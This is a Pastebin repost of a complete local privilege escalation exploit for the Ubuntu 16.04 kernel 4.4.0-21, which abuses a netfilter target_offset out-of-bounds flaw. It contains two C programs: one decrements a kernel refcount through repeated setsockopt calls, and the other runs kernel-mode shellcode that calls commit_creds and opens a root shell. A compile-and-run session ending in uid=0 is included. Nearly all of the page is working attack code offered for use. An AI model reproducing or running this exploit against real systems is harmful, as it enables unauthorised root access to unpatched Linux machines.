ScriptedArtsOfficial

Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - netfilter target_

Mar 20th, 2018
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.68 KB | None | 0 0
  1. /**
  2. EDB Note: Download ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44300.zip
  3. Video ~ https://www.youtube.com/watch?v=qchiJn94kTo
  4. **/
  5.  
  6. /** decr.c **/
  7. /**
  8. * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
  9. * check_compat_entry_size_and_hooks/check_entry
  10. *
  11. * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
  12. *
  13. * Vitaly Nikolenko
  14. * 23/04/2016
  15. *
  16. *
  17. * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
  18. * automatic loading).
  19. *
  20. * vnik@ubuntu:~$ uname -a
  21. * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
  22. * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
  23. * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
  24. * vnik@ubuntu:~$ ./decr
  25. * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
  26. * [!] Decrementing the refcount. This may take a while...
  27. * [!] Wait for the "Done" message (even if you'll get the prompt back).
  28. * vnik@ubuntu:~$ [+] Done! Now run ./pwn
  29. *
  30. * vnik@ubuntu:~$ ./pwn
  31. * [+] Escalating privs...
  32. * root@ubuntu:~# id
  33. * uid=0(root) gid=0(root) groups=0(root)
  34. * root@ubuntu:~#
  35. *
  36. */
  37.  
  38. #define _GNU_SOURCE
  39. #include <stdio.h>
  40. #include <stdlib.h>
  41. #include <string.h>
  42. #include <unistd.h>
  43. #include <sched.h>
  44. #include <linux/sched.h>
  45. #include <errno.h>
  46. #include <sys/types.h>
  47. #include <sys/socket.h>
  48. #include <sys/ptrace.h>
  49. #include <netinet/in.h>
  50. #include <net/if.h>
  51. #include <linux/netfilter_ipv4/ip_tables.h>
  52. #include <linux/netlink.h>
  53. #include <fcntl.h>
  54. #include <sys/mman.h>
  55.  
  56. #define MALLOC_SIZE 66*1024
  57.  
  58. int check_smaep() {
  59. FILE *proc_cpuinfo;
  60. char fbuf[512];
  61.  
  62. proc_cpuinfo = fopen("/proc/cpuinfo", "r");
  63.  
  64. if (proc_cpuinfo < 0) {
  65. perror("fopen");
  66. return -1;
  67. }
  68.  
  69. memset(fbuf, 0, sizeof(fbuf));
  70.  
  71. while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
  72. if (strlen(fbuf) == 0)
  73. continue;
  74.  
  75. if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
  76. fclose(proc_cpuinfo);
  77. return -1;
  78. }
  79. }
  80.  
  81. fclose(proc_cpuinfo);
  82. return 0;
  83. }
  84.  
  85. int check_mod() {
  86. FILE *proc_modules;
  87. char fbuf[256];
  88.  
  89. proc_modules = fopen("/proc/modules", "r");
  90.  
  91. if (proc_modules < 0) {
  92. perror("fopen");
  93. return -1;
  94. }
  95.  
  96. memset(fbuf, 0, sizeof(fbuf));
  97.  
  98. while(fgets(fbuf, 256, proc_modules) != NULL) {
  99. if (strlen(fbuf) == 0)
  100. continue;
  101.  
  102. if (!strncmp("ip_tables", fbuf, 9)) {
  103. fclose(proc_modules);
  104. return 0;
  105. }
  106. }
  107.  
  108. fclose(proc_modules);
  109. return -1;
  110. }
  111.  
  112. int decr(void *p) {
  113. int sock, optlen;
  114. int ret;
  115. void *data;
  116. struct ipt_replace *repl;
  117. struct ipt_entry *entry;
  118. struct xt_entry_match *ematch;
  119. struct xt_standard_target *target;
  120. unsigned i;
  121.  
  122. sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
  123.  
  124. if (sock == -1) {
  125. perror("socket");
  126. return -1;
  127. }
  128.  
  129. data = malloc(MALLOC_SIZE);
  130.  
  131. if (data == NULL) {
  132. perror("malloc");
  133. return -1;
  134. }
  135.  
  136. memset(data, 0, MALLOC_SIZE);
  137.  
  138. repl = (struct ipt_replace *) data;
  139. repl->num_entries = 1;
  140. repl->num_counters = 1;
  141. repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
  142. repl->valid_hooks = 0;
  143.  
  144. entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
  145. entry->target_offset = 74; // overwrite target_offset
  146. entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
  147.  
  148. ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
  149.  
  150. strcpy(ematch->u.user.name, "icmp");
  151. void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
  152. uint64_t *me = (uint64_t *)(kmatch + 0x58);
  153. *me = 0xffffffff821de10d; // magic number!
  154.  
  155. uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
  156. *match = (uint32_t)kmatch;
  157.  
  158. ematch->u.match_size = (short)0xffff;
  159.  
  160. target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
  161. uint32_t *t = (uint32_t *)target;
  162. *t = (uint32_t)kmatch;
  163.  
  164. printf("[!] Decrementing the refcount. This may take a while...\n");
  165. printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
  166.  
  167. for (i = 0; i < 0xffffff/2+1; i++) {
  168. ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
  169. }
  170.  
  171. close(sock);
  172. free(data);
  173. printf("[+] Done! Now run ./pwn\n");
  174.  
  175. return 0;
  176. }
  177.  
  178. int main(void) {
  179. void *stack;
  180. int ret;
  181.  
  182. printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
  183. if (check_mod()) {
  184. printf("[-] No ip_tables module found! Quitting...\n");
  185. return -1;
  186. }
  187.  
  188. if (check_smaep()) {
  189. printf("[-] SMEP/SMAP support dectected! Quitting...\n");
  190. return -1;
  191. }
  192.  
  193. ret = unshare(CLONE_NEWUSER);
  194.  
  195. if (ret == -1) {
  196. perror("unshare");
  197. return -1;
  198. }
  199.  
  200. stack = (void *) malloc(65536);
  201.  
  202. if (stack == NULL) {
  203. perror("malloc");
  204. return -1;
  205. }
  206.  
  207. clone(decr, stack + 65536, CLONE_NEWNET, NULL);
  208.  
  209. sleep(1);
  210.  
  211. return 0;
  212. }
  213.  
  214. /** decr.c EOF **/
  215.  
  216. /** pwn.c **/
  217. /**
  218. * Run ./decr first!
  219. *
  220. * 23/04/2016
  221. * - vnik
  222. */
  223. #include <stdio.h>
  224. #include <string.h>
  225. #include <errno.h>
  226. #include <unistd.h>
  227. #include <stdint.h>
  228. #include <fcntl.h>
  229. #include <sys/mman.h>
  230. #include <assert.h>
  231.  
  232. #define MMAP_ADDR 0xff814e3000
  233. #define MMAP_OFFSET 0xb0
  234.  
  235. typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
  236. typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
  237.  
  238. void __attribute__((regparm(3))) privesc() {
  239. commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
  240. prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
  241. commit_creds(prepare_kernel_cred((uint64_t)NULL));
  242. }
  243.  
  244. int main() {
  245. void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
  246. assert(payload == (void *)MMAP_ADDR);
  247.  
  248. void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
  249.  
  250. memset(shellcode, 0, 0x300000);
  251.  
  252. void *ret = memcpy(shellcode, &privesc, 0x300);
  253. assert(ret == shellcode);
  254.  
  255. printf("[+] Escalating privs...\n");
  256.  
  257. int fd = open("/dev/ptmx", O_RDWR);
  258. close(fd);
  259.  
  260. assert(!getuid());
  261.  
  262. printf("[+] We've got root!");
  263.  
  264. return execl("/bin/bash", "-sh", NULL);
  265. }
  266. /** pwn.c EOF **/
Advertisement
Add Comment
Please, Sign In to add comment